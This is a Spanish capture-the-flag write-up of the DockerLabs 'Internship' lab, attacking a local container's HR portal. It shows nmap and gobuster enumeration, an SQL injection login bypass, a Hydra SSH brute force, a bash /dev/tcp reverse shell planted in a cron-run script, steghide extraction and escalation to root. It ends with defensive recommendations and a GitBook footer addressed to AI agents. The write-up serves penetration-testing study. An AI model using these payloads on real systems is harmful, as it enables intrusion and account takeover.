> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/internship.md).

# Internship

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone un portal de recursos humanos llamado **GateKeeper HR**. La cadena combina enumeracion web, virtual host, SQL Injection, una pista en ROT13, fuerza bruta SSH, movimiento lateral mediante un script ejecutado por otro usuario y una escalada final con una password oculta en una imagen.

***

## Reconocimiento

Se comienza realizando un escaneo de versiones contra la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/v4XtJ3KSOKlfPPHqdCe6)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian       |
| 80/tcp | HTTP     | Apache httpd 2.4.62 Debian |

Como el puerto `80` esta abierto, se empieza la enumeracion por la web.

***

## Enumeracion web

Al acceder por IP aparece un portal de recursos humanos llamado **GateKeeper HR**.

![Web principal](/files/ZPhbF4eolRhhUVPJkllR)

Revisando el codigo fuente aparece una referencia a un dominio:

```html
<link rel="dns-prefetch" href="//gatekeepehr.com">
```

![Codigo fuente](/files/UNFhSnSPUo5Yhv61IKXs)

Se anade el dominio al archivo `/etc/hosts` apuntando a la IP de la maquina:

```
172.17.0.2    gatekeepehr.com
```

![Hosts](/files/TVpqSMpSMmbdr0B4VeYv)

Al acceder por el virtual host, la web carga correctamente:

```
http://gatekeepehr.com
```

![Virtual host](/files/AYpTvr0r8vdSjxAPkckC)

***

## Fuzzing de rutas

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://gatekeepehr.com \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,php,txt,py,sh,log
```

![Gobuster](/files/RNOBBrlsJ7YsubTbNh4J)

Recursos interesantes:

| Recurso         | Codigo | Comentario             |
| --------------- | ------ | ---------------------- |
| `/about.html`   | 200    | Pagina informativa     |
| `/contact.html` | 200    | Pagina de contacto     |
| `/index.html`   | 200    | Pagina principal       |
| `/default/`     | 301    | Directorio             |
| `/includes/`    | 301    | Directorio             |
| `/lab/`         | 301    | Directorio             |
| `/spam/`        | 301    | Directorio interesante |

***

## Login y SQL Injection

La web tiene un formulario de inicio de sesion. Al probar una entrada malformada se observa un error de parseo JSON.

![Error JSON](/files/opb4A2ZA3mtcxTYbGzjL)

Despues se prueba un bypass clasico de SQL Injection en el campo usuario:

```
' OR 1=1 -- -
```

![SQL Injection](/files/JG3iobKl9AkHCVg4InkW)

El bypass funciona y se accede al dashboard interno de recursos humanos.

![Dashboard](/files/vI6FZ2FsY7YQCGihPRl8)

En el dashboard aparecen empleados recientes. Ademas, en el codigo fuente se encuentra un comentario importante:

```html
<!-- Quitar los permisos SSH a los pasantes, ya terminara el tiempo de pasantia -->
```

![Comentario pasantes](/files/51ee8TSGKmEQ5kqeXld8)

Esto apunta a que algun usuario de tipo pasante todavia puede tener acceso por SSH.

***

## Pista en ROT13

Revisando el directorio `/spam/` se encuentra un comentario codificado:

```
Yn pbagrenfran qr hab qr ybf cnfnagrf rf 'checy3'
```

![Spam ROT13](/files/eI9r519ZJy4OpJOiUY1C)

Se decodifica con ROT13:

```bash
echo "Yn pbagrenfran qr hab qr ybf cnfnagrf rf 'checy3'" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

![ROT13 decode](/files/HXIZRsJcpMm4deTiGT49)

Resultado:

```
La contrasena de uno de los pasantes es 'purpl3'
```

***

## Fuerza bruta de usuarios SSH

A partir de los empleados del dashboard se crea una lista de posibles usuarios combinando nombres, apellidos e iniciales.

![Userlist](/files/s1Ll0b2SM2Sawc5CLAeK)

Con la password `purpl3`, se prueba la lista contra SSH usando Hydra:

```bash
hydra -L user.txt -p purpl3 172.17.0.2 ssh
```

![Hydra SSH](/files/eSXrMHWNYSTe3I6VNZUe)

Hydra encuentra credenciales validas:

```
Usuario: pedro
Password: purpl3
```

***

## Acceso inicial

Se accede por SSH como `pedro`:

```bash
ssh pedro@172.17.0.2
```

![SSH pedro](/files/At66nj0RdWD5ORkCL2hi)

Se obtiene una shell como el usuario `pedro`.

***

## Enumeracion local

Se comprueban permisos `sudo`, pero `pedro` no puede ejecutar comandos con sudo:

```bash
sudo -l
```

Tambien se revisan binarios SUID, sin encontrar un vector directo de escalada.

![Enumeracion pedro](/files/UP2P4zwQrce7IrcCDaUz)

Buscando archivos escribibles fuera de rutas habituales se encuentra un script interesante:

```bash
find / -writable -type f 2>/dev/null | grep -viE "var|proc|sys|home"
cat /opt/log_cleaner.sh
ls -la /opt/log_cleaner.sh
```

![log\_cleaner](/files/LMXLLcT4kkmoKtKbN6Dq)

El archivo `/opt/log_cleaner.sh` pertenece a `valentina`, pero es escribible:

```
-rwxrw-rw- 1 valentina valentina /opt/log_cleaner.sh
```

Su contenido original limpia logs:

```bash
#!/bin/bash
rm -rf /var/log/*
```

Monitorizando procesos se observa que `valentina` ejecuta periodicamente ese script:

![Procesos](/files/K7kYdd5NFnvZ8I2PCS1u)

***

## Movimiento lateral a valentina

Se prepara una reverse shell hacia la IP atacante `172.17.0.1` por el puerto `4444`.

![Reverse shell](/files/2wVRicC06WXwkm2mMvXj)

Se modifica `/opt/log_cleaner.sh` para que ejecute la reverse shell:

```bash
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

![Modificar script](/files/ucrAQWIBklD5B44C53rO)

En la maquina atacante se deja un listener con Netcat:

```bash
nc -lvnp 4444
```

Cuando `valentina` ejecuta el script, se recibe una shell como ese usuario:

![Shell valentina](/files/N5wY4HCE09JFtOdjq8KY)

***

## Enumeracion como valentina

Como `valentina`, se prueba `sudo -l`, pero no se dispone de su password en ese momento. Tambien se revisan SUID sin obtener una escalada directa.

![Enumeracion valentina](/files/Ny3Dua9hh2ztAYd1XVeb)

En el home de `valentina` se localiza una imagen llamada `profile_picture.jpeg`. Se copia a la maquina atacante para analizarla:

```bash
scp /home/valentina/profile_picture.jpeg kali@172.17.0.1:
```

![SCP imagen](/files/MzXeXtnA98pZtfuXTZYd)

***

## Esteganografia

Se analiza la imagen con `steghide`:

```bash
steghide info profile_picture.jpeg
```

![Steghide info](/files/U7U3i5NCSNwXyrtMhl2U)

La imagen contiene un archivo embebido:

```
secret.txt
```

Al extraerlo y leerlo, aparece una posible password:

```bash
cat secret.txt
```

![Secret](/files/97c8lYefqtgbcpsjvCfG)

Contenido:

```
mag1ck
```

***

## Escalada a root

Con la password `mag1ck`, se vuelve a la shell de `valentina` y se ejecuta:

```bash
sudo su
```

![Root](/files/MWiJfXygfUjFczx2rw07)

La password es valida y se obtiene acceso como `root`:

```
root
```

***

## Conclusion

La maquina se compromete mediante una cadena de enumeracion bastante completa. El virtual host `gatekeepehr.com` revela un portal HR con un login vulnerable a SQL Injection. Tras acceder al dashboard, se identifican empleados y una pista sobre pasantes con SSH activo. En `/spam/`, un comentario en ROT13 revela la password `purpl3`, que permite encontrar el usuario `pedro` mediante Hydra.

Desde `pedro`, el movimiento lateral se consigue modificando `/opt/log_cleaner.sh`, un script escribible ejecutado periodicamente por `valentina`. Finalmente, una imagen en el home de `valentina` contiene un `secret.txt` oculto con `steghide`, que revela la password `mag1ck` y permite escalar a `root` con `sudo su`.

### Puntos clave

| Fase               | Tecnica                                     | Resultado              |
| ------------------ | ------------------------------------------- | ---------------------- |
| Reconocimiento     | Nmap                                        | SSH y HTTP expuestos   |
| Virtual host       | Codigo fuente                               | `gatekeepehr.com`      |
| Enumeracion web    | Gobuster                                    | Rutas como `/spam/`    |
| Acceso web         | SQL Injection                               | Dashboard HR           |
| Pista              | ROT13                                       | Password `purpl3`      |
| Credenciales       | Hydra                                       | Usuario `pedro`        |
| Movimiento lateral | Script escribible ejecutado por `valentina` | Shell como `valentina` |
| Secreto            | Steghide en `profile_picture.jpeg`          | Password `mag1ck`      |
| Escalada           | `sudo su`                                   | Root                   |

### Recomendaciones

* Validar correctamente las entradas del login y usar consultas parametrizadas.
* No publicar comentarios con informacion operativa o pistas sensibles.
* Restringir el acceso SSH de usuarios temporales o pasantes cuando ya no sea necesario.
* Evitar archivos escribibles por usuarios no propietarios en rutas como `/opt`.
* Revisar tareas periodicas y scripts ejecutados por otros usuarios.
* No ocultar passwords en imagenes ni reutilizarlas para privilegios administrativos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/internship.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
